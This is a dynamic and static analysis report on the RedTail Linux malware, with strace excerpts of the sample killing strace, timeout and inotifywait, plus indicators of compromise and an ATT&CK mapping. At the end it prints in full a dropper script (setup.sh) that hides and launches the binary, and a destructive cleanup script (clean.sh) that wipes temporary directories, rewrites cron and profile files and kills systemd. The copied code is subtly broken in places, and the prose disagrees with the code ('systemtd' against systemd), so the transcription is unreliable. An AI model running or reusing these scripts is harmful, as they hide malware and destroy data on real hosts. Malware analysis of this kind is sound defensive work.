1787749914.923088 close(4</proc/1098/cmdline>) = 0 <0.000019>
1787749914.923149 kill(1098, SIGKILL) = -1 EPERM (Operation not permitted) <0.000018>
1787749914.923199 lstat("/proc/1099/exe", {st_mode=S_IFLNK|0777, st_size=0, ...}) = 0 <0.000020>
1787749914.923260 kill(148069, SIGKILL) = 0 <0.000025>
victor58@victimtester1:~$ grep -nE \
'kill\(|[0-9]+\, SIG[A-Z0-9]+\)' \
"$TRACE1" "$TRACE2"
/analysis/evidence-review/run001/run-001/runtime/strace/trace.147999:707:17877498
99.853299 kill(1098, SIGKILL) = -1 EPERM (Operation not permitted) <0.000018>
/analysis/evidence-review/run001/run-001/runtime/strace/trace.147999:869:17877498
99.862413 kill(147995, SIGKILL)
/analysis/evidence-review/run001/run-001/runtime/strace/trace.148078:714:17877499
14.923149 kill(1098, SIGKILL) = -1 EPERM (Operation not permitted) <0.000018>
/analysis/evidence-review/run001/run-001/runtime/strace/trace.148078:866:17877499
14.931768 kill(147999, SIGKILL) = 0 <0.000025>
/analysis/evidence-review/run001/run-001/runtime/strace/trace.148078:884:17877499
14.932966 kill(148069, SIGKILL) = 0 <0.000063>
/analysis/evidence-review/run001/run-001/runtime/strace/trace.148078:891:17877499
14.934129 kill(148070, SIGKILL)
victor58@victimtester1:~$
```

Process terminated as Root:

```
write --timefmt %Y-%m-%d %H:%M:%S%Z --format %[%e] %W% /tmp /var /tmp /dev /shm /etc/systemd/system /etc/cron.d /usr/local/bin /home
victor58@victintester1:~$ grep -n -B12 -A4 \
'kill(10391, SIGKILL)' \
"$TRACE"
victor58@victintester1:~$ sed -n '1170,1200p' "$TRACE"
1787993543.596891 open("/proc/10384/cmdline", O_RDONLY|O_LARGEFILE) = 4</proc/10384/cmdline> <0.000077>
1787993543.597030 read(4</proc/10384/cmdline>, "", 1023) = 0 <0.000027>
1787993543.597130 close(4</proc/10384/cmdline>) = 0 <0.000023>
1787993543.597199 lstat("/proc/10390/exe", {st_mode=S_IFLNK|0777, st_size=0, ...}) = 0 <0.000029>
1787993543.597271 readlink("/proc/10390/exe", "/usr/bin/timeout", 128) = 16 <0.000026>
1787993543.597340 open("/proc/10390/cmdline", O_RDONLY|O_LARGEFILE) = 4</proc/10390/cmdline> <0.000028>
1787993543.597416 read(4</proc/10390/cmdline>, "timeout\0--signal=TERM\0--kill-after=10s\000300\0strace\0-ff\0-ttt\0-T\0-s\08192\0-yy\0-o\0/analysis/run-002/runtime/strace-attempt001/trace\0-ff\0-ttt\0-T\0-s\08192\0-yy\0-o\0/analysis/run-002/sample/redtail.x86_64\0ssh\0", 1023) = 174 <0.000026>
1787993543.597487 read(4</proc/10390/cmdline>, "", 1023) = 0 <0.000030>
1787993543.597591 close(4</proc/10390/cmdline>) = 0 <0.000028>
1787993543.597663 kill(10390, SIGKILL) = 0 <0.000072>
1787993543.597808 lstat("/proc/10391/exe", {st_mode=S_IFLNK|0777, st_size=0, ...}) = 0 <0.000043>
1787993543.597920 readlink("/proc/10391/exe", "/usr/bin/strace", 128) = 15 <0.000042>
1787993543.598038 open("/proc/10391/cmdline", O_RDONLY|O_LARGEFILE) = 4</proc/10391/cmdline> <0.000037>
1787993543.598150 read(4</proc/10391/cmdline>, "strace\0-ff\0-ttt\0-T\0-s\08192\0-yy\0-o\0/analysis/run-002/runtime/strace-attempt001/trace\0-ff\0-ttt\0-T\0-s\08192\0-yy\0-o\0/analysis/run-002/sample/redtail.x86_64\0ssh\0", 1023) = 131 <0.000028>
1787993543.598249 read(4</proc/10391/cmdline>, "", 1023) = 0 <0.000021>
1787993543.598321 close(4</proc/10391/cmdline>) = 0 <0.000027>
1787993543.598402 kill(10391, SIGKILL)victor58@victintester1:~$
```

However, non-root privileges did not prevent RedTail from interfering with analysis processes running under the same user context. During the second Run 001 execution, RedTail identified and successfully terminated the timeout process supervising its strace session. It then identified `/usr/bin/strace`, read the command line showing that the tracer was monitoring the RedTail executable, and invoked `SIGKILL`; the trace terminated before the system-call return value could be recorded. The second execution also successfully terminated PID 147999, the surviving RedTail process from the first execution, suggesting possible previous-instance cleanup or single-instance enforcement.

Process terminated as User:

```
victor58@victintester1:~$ sed -n '864,868p' "$TRACE2"
1787749914.931644 lstat("/proc/147999/exe", {st_mode=S_IFLNK|0777, st_size=0, ...}) = 0 <0.000024>
1787749914.931703 readlink("/proc/147999/exe", "/analysis/run-001/sample/redtail.x86_64", 128) = 39 <0.000020>
1787749914.931768 kill(147999, SIGKILL) = 0 <0.000025>
1787749914.931829 stat("/analysis/run-001/sample/redtail.x86_64", {st_mode=S_IFREG|0500, st_size=1986520, ...}) = 0 <0.000033>
1787749914.931910 fchmodat(AT_FDCWD</>, "/analysis/run-001/sample/redtail.x86_64", 0400) = 0 <0.000030>
victor58@victintester1:~$ sed -n '878,892p' "$TRACE2"
1787749914.932547 lstat("/proc/148069/exe", {st_mode=S_IFLNK|0777, st_size=0, ...}) = 0 <0.000026>
1787749914.932610 readlink("/proc/148069/exe", "/usr/bin/timeout", 128) = 16 <0.000023>
1787749914.932675 open("/proc/148069/cmdline", O_RDONLY|O_LARGEFILE) = 4</proc/148069/cmdline> <0.000023>
1787749914.932745 read(4</proc/148069/cmdline>, "timeout\0--signal=TERM\0--kill-after=10s\000300\0strace\0-ff\0-ttt\0-T\0-s\08192\0-yy\0-o\0/analysis/run-001/runtime/strace/trace\0-ff\0-ttt\0-T\0-s\08192\0-yy\0-o\0/analysis/run-001/sample/redtail.x86_64\0ssh\0/analysis/run-001/runtime/sample.stdout\0", 1023) = 203 <0.000028>
1787749914.932836 read(4</proc/148069/cmdline>, "", 1023) = 0 <0.000021>
1787749914.932908 close(4</proc/148069/cmdline>) = 0 <0.000020>
1787749914.932966 kill(148069, SIGKILL) = 0 <0.000063>
1787749914.933313 lstat("/proc/148070/exe", {st_mode=S_IFLNK|0777, st_size=0, ...}) = 0 <0.000099>
1787749914.933500 readlink("/proc/148070/exe", "/usr/bin/strace", 128) = 15 <0.000035>
1787749914.933614 open("/proc/148070/cmdline", O_RDONLY|O_LARGEFILE) = 4</proc/148070/cmdline> <0.000042>
1787749914.933735 read(4</proc/148070/cmdline>, "strace\0-ff\0-ttt\0-T\0-s\08192\0-yy\0-o\0/analysis/run-001/runtime/strace/trace\0-ff\0-ttt\0-T\0-s\08192\0-yy\0-o\0/analysis/run-001/sample/redtail.x86_64\0ssh\0/analysis/run-001/runtime/sample.stdout\0", 1023) = 160 <0.000047>
1787749914.933896 read(4</proc/148070/cmdline>, "", 1023) = 0 <0.000035>
1787749914.934012 close(4</proc/148070/cmdline>) = 0 <0.000039>
1787749914.934129 kill(148070, SIGKILL)victor58@victintester1:~$
```

Together, Runs 001 and 002 show that RedTail's process-disruption routine operates regardless of privilege, while its effectiveness depends on the ownership and privilege level of the target process. Root execution enabled RedTail to terminate the root-owned filesystem monitor, whereas non-root execution was restricted to processes it was permitted to signal.

Overall Conclusion

Dynamic analysis of the RedTail sample revealed a consistent sequence of host discovery, persistence, process manipulation, network initialization, and defensive interference across both privileged and unprivileged executions. Although individual values such as process names and listening ports changed between executions, the underlying behavior was highly reproducible.

RedTail performed extensive host profiling through Linux `/proc` and `/sys` interfaces, enumerating processor characteristics, cache topology, memory, NUMA configuration, huge-page availability, and DMI hardware information. The same normalized set of host-information paths was queried across both Run 001 executions and Run 002. The sample also obtained explicit virtualization indicators, including the hypervisor CPU flag, QEMU identifiers, SeaBIOS, and a Q35 virtual-machine product name, but continued execution despite receiving this information. Execution privilege affected the information available to the malware but did not substantially alter its discovery routine.

Persistence was established through the current execution account's crontab using an `@reboot` entry pointing to the RedTail executable. Consequently, the non-root Run 001 execution created persistence for `victor58`, while the root-privileged Run 002 execution created root-level cron persistence. RedTail also attempted to manipulate the host firewall by flushing existing rules and inserting an `INPUT` rule for its dynamically selected TCP listener. The selected listener changed between executions—TCP ports 39539, 40219, and 39983 were observed—while the corresponding `iptables` command referenced the matching port in each case. Firewall modification was confirmed as attempted, although the preserved evidence does not establish successful rule application in every execution.

RedTail additionally disguised its running processes. Observed process names included `php` and a PostgreSQL-like `postgres: user ...`, while Run 002 also presented a process title of `php-fpm: pool www` despite the executable remaining `redtail.x86_64`. The masquerading processes owned the dynamically selected TCP listeners, demonstrating that the altered identities were associated with the surviving malware processes rather than unrelated applications.

A particularly significant finding was RedTail's interference with the analysis environment. The malware enumerated running processes, inspected executable paths and command-line arguments, and selectively issued `SIGKILL`. During non-root Run 001, attempts to terminate the root-owned `inotifywait` filesystem monitor failed with `EPERM`; however, RedTail remained capable of disrupting analysis processes that it had permission to signal, including the `timeout` process supervising its tracing session. During root-privileged Run 002, the same `inotifywait` monitor was successfully terminated. RedTail also identified `/usr/bin/strace`, read the command line showing that it was tracing `redtail.x86_64`, and issued `SIGKILL`; the trace terminated while recording that operation. These observations demonstrate that the process-disruption routine was present regardless of privilege, while its effectiveness depended on the privileges and ownership of the target process.

Network analysis identified repeated connection attempts to multiple external IP addresses on TCP port 853. The same target sequence appeared across Run 001 and Run 002, supporting its association with RedTail rather than unrelated host activity. Because the analysis VM deliberately had no default Internet route, these connections failed with `ENETUNREACH` and did not leave the host. The use of TCP/853 is consistent with DNS-over-TLS infrastructure, although the isolated environment prevented observation of any successful protocol exchange and therefore does not establish the ultimate purpose of those connections.

Static examination of the accompanying clean.sh script identified additional cleanup functionality targeting cron entries, shell-startup files, temporary directories, miner-related services, and suspicious process names. However, the script was not observed executing during either dynamic-analysis run. Its functionality should therefore be treated separately from behavior directly demonstrated by redtail.x86_64.

Overall, the experiments show RedTail as a Linux threat that combines persistent execution, extensive host profiling, process masquerading, dynamically selected listening services, attempted firewall manipulation, repeated external network initialization, and active interference with monitoring and analysis processes. Running the sample under both non-root and root contexts was particularly valuable: the experiments demonstrated that RedTail largely follows the same behavioral sequence regardless of privilege, while elevated privileges substantially increase the effectiveness of actions such as accessing protected host identifiers, modifying privileged resources, and terminating root-owned monitoring processes.

Limitations of Analysis:

- External TCP/853 connections could not complete because the victim intentionally had no Internet route.
- No inbound interaction with the RedTail listeners was observed, so their higher-level protocol/function was not established.
- Successful execution of iptables via execve() does not by itself prove that every firewall-rule change was successfully applied.
- clean.sh and setup.sh was analyzed statically and was not observed executing during Runs 001 or 002.

Indicators of Compromise

Type	Indicator	Assessment
Filename	redtail.x86_64	Malware sample name
SHA-256	63be5f38b520b3143732962a5f8fec1f9abd1f483dbc741ed324e58f955dd35e	Strongest file IOC
Outbound port	TCP 853	Repeated across executions
Process masquerade	php	Behavioral indicator
Process title	php-fpm: pool www	Strong behavioral indicator when executable is not PHP
Process masquerade	postgres: user ...	Behavioral indicator
Listener	0.0.0.0:39539	Run 001 #1; execution-dependent
Listener	0.0.0.0:40219	Run 001 #2; execution-dependent
Listener	0.0.0.0:39983	Run 002; execution-dependent
Persistence	@reboot <path-to-redtail.x86_64>	Strong behavioral persistence indicator

Type	Indicator	Assessment
Firewall behavior	iptables -F	Behavioral indicator
Firewall behavior	iptables -I INPUT -p tcp --dport <dynamic-port> -j ACCEPT	Strong behavioral indicator
Network	95.215.19.53:853	Observed target
Network	217.160.70.42:853	Observed target
Network	213.202.211.221:853	Observed target
Network	81.169.136.222:853	Observed target
Network	185.181.61.24:853	Observed target
Network	80.152.203.134:853	Observed target
Network	109.91.184.21:853	Observed target

MITRE ATT&CK Mapping

ATT&CK ID	Technique	Evidence from RedTail	Confidence
T1082	System Information Discovery	Reads /proc/cpuinfo, /proc/meminfo, kernel information, CPU/cache topology, NUMA, huge pages and DMI/QEMU hardware identifiers	High
T1057	Process Discovery	Enumerates /proc/<PID>, resolves /proc/<PID>/exe and reads /proc/<PID>/cmdline	High
T1053.003	Scheduled Task/Job: Cron	Creates @reboot <RedTail executable> through crontab	High
T1036	Masquerading	Changes visible process identities to php and PostgreSQL-like names	High
T1036.011	Overwrite Process Arguments	Run 002 presents php-fpm: pool www while actual executable remains redtail.x86_64	High/ Moderate
T1685	Disable or Modify Tools	Identifies and issues SIGKILL against inotifywait, timeout, strace, etc.	High
T1686	Disable or Modify System Firewall	Invokes iptables -F and attempts an INPUT allow rule for the dynamically selected listener	High for attempt

Other Summary Findings – Supporting RedTail File Deployment and Clean Up.

Static Analysis of SETUP.SH *Not Executed in any of the runs*

Static examination of setup.sh identified a multi-architecture staging and execution mechanism for RedTail. The script determines the victim's processor architecture and selects an associated payload for x86-64, x86, ARM or RISC-V systems. It enumerates user-owned writable directories and examines filesystem noexec settings to identify a suitable staging location, with /tmp, /var/tmp and /dev/shm included as fallback locations. The selected RedTail binary is copied into a randomly generated dot-prefixed filename, marked executable and launched with the argument ssh. Following execution, the script deletes the more readily identifiable redtail.* architecture-specific payload files from both the staging and original directories. This combination of malware relocation, hidden-file staging and artifact cleanup appears intended to reduce the visibility of the deployed executable. Static analysis does not, by itself, establish that setup.sh executed during the controlled dynamic-analysis runs.

Static Analysis of CLEAN.SH *Not Executed in any of the runs*

Static analysis of the accompanying clean.sh script revealed functionality designed to remove common Linux malware persistence mechanisms and terminate suspicious processes. The script first disables and stops a service named c3pool_miner. It then removes immutable and append-only attributes from cron files before filtering user and system cron configurations for commands containing strings such as wget, curl, /dev/tcp, /tmp, .sh, nc, bash -i, sh -i, and base64 -d.

The cleanup extends across user crontabs, /etc/crontab, cron scheduling directories, /etc/anacrontab, and the current user's crontab. The script additionally removes the top-level contents of /tmp, /var/tmp, and /dev/shm, and applies the same filtering routine to .bashrc, .bash_profile, and .profile. These actions are consistent with an attempt to remove scheduled-task, shell-startup, and temporary-file persistence.

Finally, the script attempts to terminate processes associated with unusual names including /bin/-bash, systemtd, and /usr/bin/.sh using SIGKILL. The name systemtd resembles the legitimate systemd service name and may represent an attempt to target a masquerading process. However, the available evidence does not establish that these filenames belong specifically to the RedTail sample analyzed in Runs 001 and 002.

The script was not observed executing during either dynamic-analysis run. Its contents should therefore be treated as static functionality associated with the recovered script rather than behaviour directly observed from redtail.x86_64.

SETUP.SH File Contents

```
victor58@victimtester1:/analysis/evidence-review/run001/run-001/sample$ cat setup.sh
#!/bin/bash

get_random_string() {
    len=$(expr $(od -An -N2 -i /dev/urandom 2>/dev/null | tr -d ' ') % 32 + 4 2>/dev/null)

    if command -v openssl >/dev/null 2>&1; then
        str=$(openssl rand -base64 256 2>/dev/null | tr -dc 'A-Za-z0-9' | head -c "$len")
        if [ -n "$str" ]; then
            echo "$str"
            return 0
        fi
    fi

    if [ -r /dev/urandom ]; then
        str=$(tr -dc 'A-Za-z0-9' </dev/urandom 2>/dev/null | head -c "$len")
        if [ -n "$str" ]; then
            echo "$str"
            return 0
        fi
    fi

    if [ -n "$RANDOM" ]; then
        echo "$RANDOM"
        return 0
    fi

    # If all else fails
    echo "redtail"
    return 1
}

NOARCH=false
ARCH=$(uname -mp)

if echo "$ARCH" | grep -q "x86_64" || echo "$ARCH" | grep -q "amd64"; then
    ARCH="x86_64"
elif echo "$ARCH" | grep -q "i[3456]86"; then
    ARCH="i686"
elif echo "$ARCH" | grep -q "armv8" || echo "$ARCH" | grep -q "aarch64"; then
    ARCH="arm8"
elif echo "$ARCH" | grep -q "armv7"; then
    ARCH="arm7"
elif echo "$ARCH" | grep -q "riscv"; then
    ARCH="riscv"
else
    NOARCH=true
fi

get_noexec_dirs() {
    if command -v findmnt >/dev/null 2>&1; then
        findmnt -rn -O noexec -o TARGET
    else
        cat /proc/mounts | grep 'noexec' | awk '{print $2}'
    fi
}

NOEXEC_DIRS=$(get_noexec_dirs)
EXCLUDE=""

for dir in $NOEXEC_DIRS; do
    EXCLUDE="$EXCLUDE $dir"
done
```

```

for dir in $NOEXEC_DIRS; do
    EXCLUDE="{EXCLUDE} -not -path \"$dir\" -not -path \"$dir/*\""
done

FOLDERS=$(eval find / -type d -user $(whoami) -perm -u=rwx -not -path \"/tmp/*\" -not -path \"/proc/*\" $EXCLUDE 2>/dev/null)
CURR=${PWD}
FILENAME=".$(get_random_string)"

for i in $FOLDERS /tmp /var/tmp /dev/shm; do
    if cd "$i" && touch .testfile && (dd if=/dev/zero of=.testfile2 bs=2M count=1 >/dev/null 2>&1 || truncate -s 2M .testfile2 >/dev/null 2>&1); then
        rm -rf .testfile .testfile2
        if [ "$CURR" != "$i" ]; then
            cp -r "$CURR"/redtail.* "$i"
        fi
        break
    fi
done

rm -rf .redtail
rm -rf $FILENAME

if [ $NOARCH = true ]; then
    for a in x86_64 i686 arm8 arm7 riscv; do
        cat redtail.$a >$FILENAME
        chmod +x $FILENAME
        ./ $FILENAME ssh
    done
else
    cat redtail.$ARCH >$FILENAME
    chmod +x $FILENAME
    ./ $FILENAME ssh
fi

rm -rf redtail.*
rm -rf "$CURR"/redtail.*
victor58@victimtester1:/analysis/evidence-review/run001/run-001/sample$

```

CLEAN.SH File Contents

```
#!/bin/bash

clean_file() {
    chattr -ia "$1"
    grep -vE 'wget|curl|/dev/tcp|/tmp|\.sh|nc|bash -i|sh -i|base64 -d' "$1" >/tmp/clean_file
    mv /tmp/clean_file "$1"
}

systemctl disable c3pool_miner
systemctl stop c3pool_miner

chattr -ia /var/spool/cron/crontabs
for user_cron in /var/spool/cron/crontabs/*; do
    [ -f "$user_cron" ] && clean_file "$user_cron"
done

for system_cron in /etc/crontab /etc/crontabs; do
    [ -f "$system_cron" ] && clean_file "$system_cron"
done

for dir in /etc/cron.hourly /etc/cron.daily /etc/cron.weekly /etc/cron.monthly /etc/cron.d; do
    chattr -ia "$dir"
    for system_cron in "$dir"/*; do
        [ -f "$system_cron" ] && clean_file "$system_cron"
    done
done

clean_file /etc/anacrontab
crontab -l 2>/dev/null | grep -vE 'wget|curl|/dev/tcp|/tmp|\.sh|nc|bash -i|sh -i|base64 -d' | crontab -

curr_dir=$(pwd -P)
for dir in /tmp /var/tmp /dev/shm; do
    [ -d "$dir" ] || continue
    if ! echo "$curr_dir" | grep -q "$dir"; then
        find "$dir" -mindepth 1 -maxdepth 1 -exec rm -rf -- {} +
    fi
done

clean_file ~/.bashrc
clean_file ~/.bash_profile
clean_file ~/.profile

echo >/bin/systemd >/dev/null 2>&1
echo >/bin/-bash >/dev/null 2>&1
echo >/usr/bin/.sh >/dev/null 2>&1
pkill -9 -f "/bin/-bash"
pkill -9 systemd
pkill -9 "/usr/bin/.sh"
```